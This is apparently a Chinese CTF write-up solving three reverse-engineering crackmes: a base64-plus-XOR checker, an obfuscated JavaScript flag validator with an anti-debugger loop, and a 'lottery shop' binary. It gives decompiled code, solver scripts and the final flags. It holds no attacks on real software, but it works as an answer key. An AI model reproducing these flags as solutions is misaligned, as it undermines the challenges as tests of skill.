int i; // [rsp+10h] [rbp-90h]
int v7; // [rsp+14h] [rbp-8Ch]
int v8; // [rsp+1Ch] [rbp-84h]
char *v9; // [rsp+20h] [rbp-80h]
char dest[4]; // [rsp+2Ch] [rbp-74h] BYREF
char s[104]; // [rsp+30h] [rbp-70h] BYREF
unsigned __int64 v12; // [rsp+98h] [rbp-8h]

v12 = __readfsqword(0x28u);
memset(s, 0, 0x64uLL);
__isoc99_scanf(&unk_222C, s);
v7 = strlen(s);
if ( v7 == 20 )
{
v4 = 0;
v5 = 0;
while ( v7 / 3 >= v4 )
{
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[v5], 3uLL);
v9 = encrypt(dest);
v8 = strlen(v9);
get_trans(v9);
for ( i = 0; i < v8; ++i )
{
if ( v9[i] != glob[4 * v4 + i] )
{
puts("Oh,no!");
return 0;
}
}
free(v9);
++v4;
v5 += 3;
}
printf("Good!");
return 0;
}
else
{
printf("sorry!");
return 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_BYTE *__fastcall encrypt(const char *a1)
{
int v2; // [rsp+10h] [rbp-70h]
int v3; // [rsp+14h] [rbp-6Ch]
__int64 v4; // [rsp+18h] [rbp-68h]
signed __int64 v5; // [rsp+20h] [rbp-60h]
_BYTE *v6; // [rsp+28h] [rbp-58h]
char v7[72]; // [rsp+30h] [rbp-50h] BYREF
unsigned __int64 v8; // [rsp+78h] [rbp-8h]

v8 = __readfsqword(0x28u);
strcpy(v7, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
v5 = strlen(a1);
if ( v5 % 3 )
v4 = 4 * (v5 / 3 + 1);
else
v4 = 4 * (v5 / 3);
v6 = malloc(v4 + 1);
v6[v4] = 0;
v2 = 0;
v3 = 0;
while ( v2 < v4 - 2 )
{
v6[v2] = v7[(unsigned __int8)a1[v3] >> 2];
v6[v2 + 1] = v7[((unsigned __int8)a1[v3 + 1] >> 4) | (16 * a1[v3]) & '0'];
v6[v2 + 2] = v7[((unsigned __int8)a1[v3 + 2] >> 6) | (4 * a1[v3 + 1]) & 0x3C];
v6[v2 + 3] = v7[a1[v3 + 2] & 0x3F];
v3 += 3;
v2 += 4;
}
if ( v5 % 3 == 1 )
{
v6[v2 - 2] = 61;
v6[v2 - 1] = 61;
}
else if ( v5 % 3 == 2 )
{
v6[v2 - 1] = 61;
}
return v6;
}

看到这里觉得是base64,也有可能是换表base64,但是解不出来,接着看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t __fastcall get_trans(const char *a1)
{
size_t result; // rax
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; ; ++i )
{
result = strlen(a1);
if ( i >= result )
break;
a1[i] ^= 0x68u;
}
return result;
}

在类似base编码之后还加了异或

思路:

  • 异或还原
  • base64

exp

1
2
3
4
5
6
7
8
9
import base64

s = [0x32, 0x05, 0x10, 0x00, 0x32, 0x5B, 0x1B, 0x10, 0x30, 0x5A, 0x1F, 0x1F, 0x0C, 0x05, 0x3E, 0x0E, 0x0B, 0x05, 0x3E, 0x5A, 0x32, 0x3C, 0x21, 0x59, 0x32, 0x30, 0x58, 0x55]
ss = ''

for i in s:
ss += chr(i^0x68)

print(base64.b64decode(ss))

flag{1_l0ve_reve25e}

JSNEWNEW

一个html内嵌经过混淆的js代码

1
((()=>{function _0x139d2b(){setInterval(()=>{(function(){return![]}['constructor']('debugger')['call']())},0x32)}try{_0x139d2b()}catch(_0x536807){}})());function _Y0u(_0x5093c8,_0x291ad5){return _0x5093c8+_0x291ad5}function _C4n(_0x4277b8){return _0x4277b8&0xff}function _N3v3r(_0x414184,_0x29df09){return _C4n(_0x414184^_0x29df09)}function _G37(_0x500f65,_0x1ddb85){return _C4n(_0x500f65|_0x1ddb85)}function _Th15(_0x1621d6,_0x285fc7){return _C4n(_0x1621d6&_0x285fc7)}function _H4(_0x2abb65){return _C4n(~_0x2abb65)}function _H4H4(_0x5b22bc){return _C4n(_H4H4H4(_H4(_0x5b22bc),_H4H4H4([],0x1)))}function _H4H4H4(_0x431cb1,_0x516603){return _C4n((_H4(_G37(_H4(_Y0u(_0x431cb1,_0x516603)),_H4(_Y0u(_0x431cb1,_0x516603)))),_H4(_G37(_H4(_Y0u(_0x431cb1,_0x516603)),_H4(_Y0u(_0x431cb1,_0x516603))))))}function _H4H4H4H4(_0x1b81b8,_0x11e8ab,_0x2c730f){return a=_H4H4H4(_0x1b81b8,_0x2c730f),a=_H4H4H4(a,_H4H4(_0x11e8ab)),a=_H4H4H4(a,_H4H4(_0x2c730f)),_C4n(a)}function _G00D(_0x51eb06){((()=>{function _0x139d2b(){setInterval(()=>{(function(){return![]}['constructor']('debugger')['call']())},0x32)}try{_0x139d2b()}catch(_0x536807){}})());var _0x8b9e29=document['getElementById']('passwordError');_0xcaf3caf3=[],_0xc4f3c4f3=[0x55,0xbf,0x63,0xbc,0x33,0x95,0x31,0x4c,0x89,0x6b,0x49,0x31,0x30,0xdf,0x63,0xe5,0x57,0xd7,0x73,0xa6,0x6e,0xd3,0x63,0xa1,0x92,0x5b,0x72,0xe6,0x8f,0x76,0x4f,0xd0],Hur1k='Hur1k';if(_0x51eb06['length']!=0x27)return _0x8b9e29['textContent']='错误的',![];if(_0x51eb06['substr'](0x0,0x6)!='XSCTF{')return _0x8b9e29['textContent']='错误的',![];if(_0x51eb06[0x26]!='}')return _0x8b9e29['textContent']='错误的',![];_0x114514=_0x51eb06['substr'](0x6,0x20),_0x51eb06=[];for(var _0x28db6c=0x0;_0x28db6c<_0x114514['length'];_0x28db6c++){_0x51eb06['push'](_0x114514['charCodeAt'](_0x28db6c))}Math['seed']=new Date()['getTime'](),Math['seededRandom']=function(_0x14b0c9,_0x56fb11){_0x56fb11=_0x56fb11||0x1,_0x14b0c9=_0x14b0c9||0x0,Math['seed']=(Math['seed']*0x2455+0xc091)%0x38f40;var _0xee8b23=Math['seed']/0x38f40;return parseInt(_0x14b0c9+_0xee8b23*(_0x56fb11-_0x14b0c9))};var _0xe5731c=Math['seededRandom'](0x0,0x100);for(var _0x28db6c=0x0;_0x28db6c<_0x51eb06['length'];_0x28db6c+=0x2){tmp=_H4H4H4(_0x51eb06[_0x28db6c],_0x28db6c)^_0x28db6c,_0xcaf3caf3['push'](tmp),randNum=Math['seededRandom'](0x0,0x100),Math['seed']=randNum,tmp=_H4H4H4H4(tmp^_0x51eb06[_0x28db6c+0x1],Hur1k['charCodeAt']([_0x28db6c/0x2%Hur1k['length']]),randNum),_0xcaf3caf3['push'](tmp)}((()=>{function _0x139d2b(){setInterval(()=>{(function(){return![]}['constructor']('debugger')['call']())},0x32)}try{_0x139d2b()}catch(_0x536807){}})());if(_0xcaf3caf3['length']!=0x20)return _0x8b9e29['textContent']='究极错误的',![];for(var _0x28db6c=0x0;_0x28db6c<_0xcaf3caf3['length'];_0x28db6c++){if(_0xcaf3caf3[_0x28db6c]!=_0xc4f3c4f3[_0x28db6c])return _0x8b9e29['textContent']='错误的',![]}return!![]}

首先经过Obfuscator.io Deobfuscator (deobfuscate.io),初步解混淆
再通过JavaScript Deobfuscator (deobfuscate.io),再解一次
然后就解不动了(不排除有其他工具)

解混淆的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
function _H4H4H4(_0x431cb1, _0x516603) {
~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255) & 255) & 255;
return ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255) & 255) & 255 & 255;
}
function _H4H4H4H4(_0x1b81b8, _0x11e8ab, _0x2c730f) {
a = _H4H4H4(_0x1b81b8, _0x2c730f);
a = _H4H4H4(a, _H4H4H4(~_0x11e8ab & 255, _H4H4H4([], 1)) & 255);
a = _H4H4H4(a, _H4H4H4(~_0x2c730f & 255, _H4H4H4([], 1)) & 255);
return a & 255;
}
function _G00D(_0x51eb06) {
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
var _0x8b9e29 = document.getElementById("passwordError");
_0xcaf3caf3 = [];
_0xc4f3c4f3 = [85, 191, 99, 188, 51, 149, 49, 76, 137, 107, 73, 49, 48, 223, 99, 229, 87, 215, 115, 166, 110, 211, 99, 161, 146, 91, 114, 230, 143, 118, 79, 208];
Hur1k = "Hur1k";
if (_0x51eb06.length != 39) {
_0x8b9e29.textContent = "错误的";
return false;
}
if (_0x51eb06.substr(0, 6) != "XSCTF{") {
_0x8b9e29.textContent = "错误的";
return false;
}
if (_0x51eb06[38] != "}") {
_0x8b9e29.textContent = "错误的";
return false;
}
_0x114514 = _0x51eb06.substr(6, 32);
_0x51eb06 = [];
for (var _0x28db6c = 0; _0x28db6c < _0x114514.length; _0x28db6c++) {
_0x51eb06.push(_0x114514.charCodeAt(_0x28db6c));
}
Math.seed = (new Date).getTime();
Math.seededRandom = function (_0x14b0c9, _0x56fb11) {
_0x56fb11 = _0x56fb11 || 1;
_0x14b0c9 = _0x14b0c9 || 0;
Math.seed = (Math.seed * 9301 + 49297) % 233280;
var _0xee8b23 = Math.seed / 233280;
return parseInt(_0x14b0c9 + _0xee8b23 * (_0x56fb11 - _0x14b0c9));
};
for (var _0x28db6c = 0; _0x28db6c < _0x51eb06.length; _0x28db6c += 2) {
tmp = _H4H4H4(_0x51eb06[_0x28db6c], _0x28db6c) ^ _0x28db6c;
_0xcaf3caf3.push(tmp);
randNum = Math.seededRandom(0, 256);
Math.seed = randNum;
tmp = _H4H4H4H4(tmp ^ _0x51eb06[_0x28db6c + 1], Hur1k.charCodeAt([_0x28db6c / 2 % Hur1k.length]), randNum);
_0xcaf3caf3.push(tmp);
}
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
if (_0xcaf3caf3.length != 32) {
_0x8b9e29.textContent = "究极错误的";
return false;
}
for (var _0x28db6c = 0; _0x28db6c < _0xcaf3caf3.length; _0x28db6c++) {
if (_0xcaf3caf3[_0x28db6c] != _0xc4f3c4f3[_0x28db6c]) {
_0x8b9e29.textContent = "错误的";
return false;
}
}
return true;
}

然后就是手动解

  • 从目标数组入手回溯
  • 查看对目标数组操作的函数,尝试逆向
  • 逆向不出来怎么办,把函数复制到控制台,传入简单的参数,然后逐个修改参数,观察函数输出
  • 根据这个方法可以推测出_H4H4H4的实际作用是相加,_H4H4H4H4的实际功能是前两个参数相减,第三个参数是摆设
  • 涉及到随机数的参数大概率没什么用

最后手动解混淆的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
function add(_0x431cb1, _0x516603) {
~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255) & 255) & 255;
return ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255) & 255) & 255 & 255;
}
function sub(h_a, h_b, h_c) {
a = h_a + h_c + (((~h_b & 255) + 1)&255) + (((~h_c & 255) + 1)&255)
a = h_a + h_c + 256-h_b + 256-h_c
a = 512 + h_a - h_b
// a = add(h_a, h_c);
// a = add(a, add(~h_b & 255, 1) & 255);
// a = add(a, add(~h_c & 255, 1) & 255);
return a & 255;
}
function _G00D(userinput) {
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
var pass_err = document.getElementById("passwordError");
userin = [];
target = [85, 191, 99, 188, 51, 149, 49, 76, 137, 107, 73, 49, 48, 223, 99, 229, 87, 215, 115, 166, 110, 211, 99, 161, 146, 91, 114, 230, 143, 118, 79, 208];
Hur1k = "Hur1k";
if (userinput.length != 39) {
pass_err.textContent = "错误的";
return false;
}
if (userinput.substr(0, 6) != "XSCTF{") {
pass_err.textContent = "错误的";
return false;
}
if (userinput[38] != "}") {
pass_err.textContent = "错误的";
return false;
}
in_slice = userinput.substr(6, 32);
userinput = [];
for (var i = 0; i < in_slice.length; i++) {
userinput.push(in_slice.charCodeAt(i));
}
Math.seed = (new Date).getTime();
Math.seededRandom = function (p_a, p_b) {
p_b = p_b || 1;
p_a = p_a || 0;
Math.seed = (Math.seed * 9301 + 49297) % 233280;
var p_seed = Math.seed / 233280;
return parseInt(p_a + p_seed * (p_b - p_a));
};
for (var i = 0; i < userinput.length; i += 2) {
tmp = add(userinput[i], i) ^ i;
userin.push(tmp);
randNum = Math.seededRandom(0, 256);
Math.seed = randNum;
tmp = sub(tmp ^ userinput[i + 1], Hur1k.charCodeAt([i / 2 % Hur1k.length]), randNum);
userin.push(tmp);
}
(() => {
function _0x139d2b() {
setInterval(() => {
(function () {
return false;
}.constructor("debugger").call());
}, 50);
}
try {
_0x139d2b();
} catch (_0x536807) {}
})();
if (userin.length != 32) {
pass_err.textContent = "究极错误的";
return false;
}
for (var i = 0; i < userin.length; i++) {
if (userin[i] != target[i]) {
pass_err.textContent = "错误的";
return false;
}
}
return true;
}

exp.py

1
2
3
4
5
6
7
8
9
10
Hur1k = "Hur1k"
s = [85, 191, 99, 188, 51, 149, 49, 76, 137, 107, 73, 49, 48, 223, 99, 229, 87, 215, 115, 166, 110, 211, 99, 161, 146, 91, 114, 230, 143, 118, 79, 208]
charCode = [0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 0, 0]

for i in range(30, -1, -2):
s[i+1] = ((s[i+1]+ord(Hur1k[charCode[i]]))&255)^s[i]
s[i] = (s[i]^i)-i

for i in s:
print(chr(i), end='')

UR_R341Ly_900d_47_Obfu_ur_Newn3W

一些解混淆的网站

工具

lotery shop

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
void __noreturn sub_140017AC0()
{
char *v0; // rdi
__int64 i; // rcx
char v2; // [rsp+60h] [rbp+0h] BYREF
char v3[80]; // [rsp+68h] [rbp+8h] BYREF
char v4[80]; // [rsp+B8h] [rbp+58h] BYREF
char v5[96]; // [rsp+108h] [rbp+A8h] BYREF
char v6[80]; // [rsp+168h] [rbp+108h] BYREF
int v7[20]; // [rsp+1B8h] [rbp+158h] BYREF
int v8[20]; // [rsp+208h] [rbp+1A8h] BYREF
int v9[20]; // [rsp+258h] [rbp+1F8h] BYREF
int v10[20]; // [rsp+2A8h] [rbp+248h] BYREF
char v11[76]; // [rsp+2F8h] [rbp+298h] BYREF
int v12[8]; // [rsp+344h] [rbp+2E4h] BYREF
int v13[19]; // [rsp+364h] [rbp+304h] BYREF
char v14[180]; // [rsp+3B0h] [rbp+350h] BYREF
int v15[148]; // [rsp+464h] [rbp+404h] BYREF
int v16; // [rsp+6B4h] [rbp+654h]

v0 = &v2;
for ( i = 266i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140011690(&unk_14002D06A);
v13[0] = 0;
v13[8] = 10;
j_memset(v14, 0, 30ui64);
v15[0] = 0;
sub_14001117C(v3, "Sloth's lottery shop is open!");
sub_14001117C(v4, "You're our first customer!");
sub_1400114CE(v5, "We will give you a free lottery ticket, the number is: ");
sub_14001117C(v6, "Please enter your choice {1-5}");
sub_14001117C(v7, "1.buy a lottery ticket");
sub_14001117C(v8, "2.Check to see if you won");
sub_14001117C(v9, "3.join us");
sub_14001117C(v10, "4.Take a sneak peek at the flag");
sub_14001117C(v11, "5.exit");
sub_1400110FF(
(int)v3,
(int)v4,
(int)v5,
(int)v6,
(__int64)v7,
(__int64)v8,
(__int64)v9,
(__int64)v10,
(__int64)v11,
(__int64)v13,
(__int64)v15,
(__int64)v14);
while ( 1 )
{
while ( 1 )
{
sub_14001156E((int)v7, (int)v8, (int)v9, (int)v10, v11, v6);
sub_1400113CA("%d", v12);
v16 = v12[0];
if ( v12[0] != 1 )
break;
system("cls");
sub_1400111EF(v15, (__int64)v14);
sub_1400111BD();
}
switch ( v16 )
{
case 2:
system("cls");
sub_140011708(v15, v14, (unsigned int)v13[0]);
sub_1400111BD();
break;
case 3:
system("cls");
sub_14001149C();
sub_1400111BD();
break;
case 4:
system("cls");
sub_1400114E7();
sub_1400111BD();
break;
case 5:
system("cls");
puts("Welcome again");
sub_1400111BD();
exit(1);
default:
puts("input error");
sub_1400111BD();
break;
}
}
}

这里并没有有关flag的信息,真正的flag在sub_1400110FF函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
__int64 __fastcall sub_140016760(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
_BYTE *a5,
__int64 a6,
__int64 a7,
__int64 a8,
_BYTE *a9,
_DWORD *a10,
int *a11,
__int64 a12)
{
unsigned int v12; // eax
_BYTE *v14; // [rsp+1E8h] [rbp+1C8h]
int v15; // [rsp+264h] [rbp+244h]
int v16; // [rsp+264h] [rbp+244h]
int i; // [rsp+284h] [rbp+264h]
int v18; // [rsp+2A4h] [rbp+284h]
int j; // [rsp+2C4h] [rbp+2A4h]
__int64 v20; // [rsp+2E8h] [rbp+2C8h]

sub_140011690(&unk_14002D06A);
v14 = (_BYTE *)sub_1400112AD(14i64);
puts((const char *)a1);
puts((const char *)a2);
v14[9] = *a5;
v14[2] = v14[9];
v14[1] = *(_BYTE *)(a1 + 10) - 12;
v14[10] = *(_BYTE *)(a3 + 5) - 56;
v14[7] = *(_BYTE *)(a6 + 15) - 10;
v14[13] = toupper((char)(*(_BYTE *)(a8 + 3) + 3));
v14[3] = *(_BYTE *)(a2 + 1) + 4;
v14[11] = toupper((char)(*(_BYTE *)(a7 + 7) - 14));
v14[4] = v14[7];
*v14 = tolower((char)(*a9 + 31));
v14[8] = toupper(*(char *)(a8 + 27));
v14[5] = toupper((char)(*(_BYTE *)(a4 + 13) - 16));
v14[6] = v14[3];
v14[12] = a5[6] - 39;
v12 = sub_1400180A0(0i64);
srand(v12);
v15 = 1;
for ( i = 0; i < 8; ++i )
{
v18 = rand() % 10;
if ( i != 7 || v18 )
{
*a10 += v18 * v15;
v15 *= 10;
}
else
{
--i;
}
}
v16 = 1;
for ( j = 0; j < 8; ++j )
{
v20 = rand() % 10;
if ( j != 7 || v20 )
{
if ( j )
*(_QWORD *)(a12 + 8i64 * *a11) += v20 * v16;
else
*(_QWORD *)(a12 + 8i64 * *a11) = v20;
v16 *= 10;
}
else
{
--j;
}
}
return sub_1400112E9("%s %d\n", (const char *)a3, *(_QWORD *)(a12 + 8i64 * (*a11)++));
}

真正的flag在v14变量中,是根据已有的变量变换得到的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
v3 = "Sloth's lottery shop is open!"
v4 = "You're our first customer!"
v5 = "We will give you a free lottery ticket, the number is: "
v6 = "Please enter your choice {1-5}"
v7 = "1.buy a lottery ticket"
v8 = "2.Check to see if you won"
v9 = "3.join us"
v10 = "4.Take a sneak peek at the flag"
v11 = "5.exit"
v13 = [0, 0, 0, 0, 0, 0, 0, 0, 10]
v15 = [0] * 10
v14 = [0] * 10

V14 = [0] * 14

V14[9] = v7[0]
V14[2] = V14[9]
V14[1] = chr(ord(v3[10])-12)
V14[10] = chr(ord(v5[5]) - 56)
V14[7] = chr(ord(v8[15]) - 10)
V14[13] = chr(ord(v10[3]) + 3).upper()#
V14[3] = chr(ord(v4[1]) + 4)
V14[11] = chr(ord(v9[7])-14).upper()#
V14[4] = (V14[7])
V14[0] = chr(ord(v11[0])+31).lower()#l
V14[8] = (v10[27]).upper()#
V14[5] = chr(ord(v6[13])-16).upper()#
V14[6] = V14[3]
V14[12] = chr(ord(v7[6])-39)

print(''.join(V14))

XSCTF{th1s_Is_F14G:D}

评论